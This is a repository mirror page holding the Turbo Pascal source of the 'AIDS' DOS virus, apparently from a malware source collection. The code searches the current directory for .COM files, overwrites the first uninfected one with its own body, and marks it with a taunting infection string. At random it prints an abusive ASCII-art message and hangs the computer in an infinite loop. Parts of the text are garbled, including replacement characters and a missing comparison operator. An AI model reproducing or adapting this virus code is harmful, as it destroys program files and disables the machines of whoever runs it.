mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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303 lines
6.5 KiB
ObjectPascal
303 lines
6.5 KiB
ObjectPascal
{AIDS
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Although this is a primitive virus its effective.
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In this virus only the .COM
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files are infected. Its about 13K and it will
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change the date entry.}
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{C-}
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{U-}
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{I-} { Wont allow a user break, enable IO check }
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{ -- Constants --------------------------------------- }
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Const
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VirusSize = 13847; { AIDS's code size }
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Warning :String[42] { Warning message }
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= 'This File Has Been Infected By AIDS! HaHa!';
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{ -- Type declarations------------------------------------- }
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Type
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DTARec =Record { Data area for file search }
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DOSnext :Array[1..21] of Byte;
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Attr : Byte;
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Ftime,
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FDate,
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FLsize,
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FHsize : Integer;
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FullName: Array[1..13] of Char;
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End;
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Registers = Record {Register set used for file search }
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Case Byte of
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1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
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2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte);
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End;
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{ -- Variables--------------------------------------------- }
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Var
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{ Memory offset program code }
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ProgramStart : Byte absolute Cseg:$100;
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{ Infected marker }
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MarkInfected : String[42] absolute Cseg:$180;
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Reg : Registers; { Register set }
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DTA : DTARec; { Data area }
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Buffer : Array[Byte] of Byte; { Data buffer }
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TestID : String[42]; { To recognize infected files }
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UsePath : String[66]; { Path to search files }
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{ Lenght of search path }
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UsePathLenght: Byte absolute UsePath;
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Go : File; { File to infect }
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B : Byte; { Used }
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LoopVar : Integer; {Will loop forever}
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{ -- Program code------------------------------------------ }
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Begin
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GetDir(0, UsePath); { get current directory }
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if Pos('\', UsePath) < UsePathLenght then
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UsePath := UsePath + '\';
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UsePath := UsePath + '*.COM'; { Define search mask }
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Reg.AH := $1A; { Set data area }
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Reg.DS := Seg(DTA);
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Reg.DX := Ofs(DTA);
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MsDos(Reg);
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UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
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Reg.AH := $4E;
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Reg.DS := Seg(UsePath);
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Reg.DX := Ofs(UsePath[1]);
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Reg.CX := $ff; { Set attribute to find ALL files }
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MsDos(Reg); { Find first matching entry }
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IF not Odd(Reg.Flags) Then { If a file found then }
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Repeat
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UsePath := DTA.FullName;
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B := Pos(#0, UsePath);
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If B 0 then
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Delete(UsePath, B, 255); { Remove garbage }
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Assign(Go, UsePath);
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Reset(Go);
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If IOresult = 0 Then { If not IO error then }
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Begin
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BlockRead(Go, Buffer, 2);
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Move(Buffer[$80], TestID, 43);
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{ Test if file already ill(Infected) }
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If TestID < Warning Then { If not then ... }
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Begin
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Seek (Go, 0);
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{ Mark file as infected and .. }
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MarkInfected := Warning;
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{ Infect it }
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BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
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Close(Go);
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Halt; {.. and halt the program }
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End;
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Close(Go);
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End;
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{ The file has already been infected, search next. }
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Reg.AH := $4F;
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Reg.DS := Seg(DTA);
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Reg.DX := Ofs(DTA);
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MsDos(Reg);
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{ ......................Until no more files are found }
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Until Odd(Reg.Flags);
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Loopvar:=Random(10);
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If Loopvar=7 then
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begin
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Writeln('_'); {Give a lot of smiles}
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Writeln('__');
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Writeln('
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');
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Writeln('
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ATTENTION:
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');
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Writeln('
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I have been elected to inform you that throughout your process of
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');
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Writeln('
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collecting and executing files, you have accidentally _H<EFBFBD><EFBFBD>K<EFBFBD>_
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');
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Writeln('
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yourself over; again, that''s PHUCKED yourself over. No, it cannot
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');
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Writeln('
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be; YES, it CAN be, a <EFBFBD><EFBFBD><EFBFBD>-s has infected your system. Now what do
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');
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Writeln('
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you have to say about that? HAHAHAHA. Have _H<EFBFBD>¥ with this one and
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');
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Writeln('
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remember, there is NO cure for
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');
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Writeln('
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');
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Writeln('
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<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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');
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Writeln('
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<EFBFBD><EFBFBD><EFBFBD>±±±±±±<EFBFBD><EFBFBD><EFBFBD> ±±±±<EFBFBD><EFBFBD>±±±±±± <EFBFBD><EFBFBD>±±±±±±±<EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD>±±±±±±±<EFBFBD><EFBFBD>
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');
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Writeln('
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<EFBFBD><EFBFBD>±± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>±± ±±
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');
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Writeln('
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<EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>±
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');
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Writeln('
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<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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');
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Writeln('
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<EFBFBD><EFBFBD>±±±±±±±±<EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± ±±±±±±±±±<EFBFBD><EFBFBD>±
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');
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Writeln('
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<EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>±
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');
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Writeln('
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<EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD><EFBFBD>± <EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD>±
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');
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Writeln('
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<EFBFBD><EFBFBD>± <EFBFBD><EFBFBD>± <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>±± <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>±±
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');
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Writeln('
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±± ±± ±±±±±±±±±±±± ±±±±±±±±±±± ±±±±±±±±±±
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');
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Writeln('
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');
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Writeln('
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');
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REPEAT
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LOOPVAR:=0;
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UNTIL LOOPVAR=1;
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end;
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End.
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